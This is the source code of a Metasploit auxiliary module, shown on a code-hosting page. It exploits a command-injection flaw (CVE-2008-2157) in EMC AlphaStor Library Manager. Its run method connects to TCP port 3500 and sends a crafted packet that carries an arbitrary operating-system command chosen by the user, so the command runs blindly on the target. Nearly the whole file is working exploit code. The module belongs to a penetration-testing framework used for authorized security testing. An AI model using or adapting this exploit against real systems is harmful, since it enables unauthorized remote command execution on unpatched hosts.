Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'EMC AlphaStor Library Manager Arbitrary Command Execution',
14
'Description' => %q{
15
EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability
16
because the application fails to properly sanitize user-supplied input.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' => [
21
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
22
[ 'CVE', '2008-2157' ],
23
[ 'OSVDB', '45715' ],
24
[ 'BID', '29398' ],
25
],
26
'DisclosureDate' => '2008-05-27',
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'SideEffects' => [IOC_IN_LOGS],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options(
36
[
37
Opt::RPORT(3500),
38
OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),
39
]
40
)
41
end
42
43
def run
44
connect
45
46
data = "\x75" + datastore['CMD']
47
pad = "\x00" * 512
48
49
pkt = data + pad
50
51
# commands are executed blindly.
52
print_status("Sending command: #{datastore['CMD']}")
53
sock.put(pkt)
54
55
select(nil, nil, nil, 1)
56
57
sock.get_once
58
59
print_status("Executed '#{datastore['CMD']}'...")
60
61
disconnect
62
end
63
end
64
65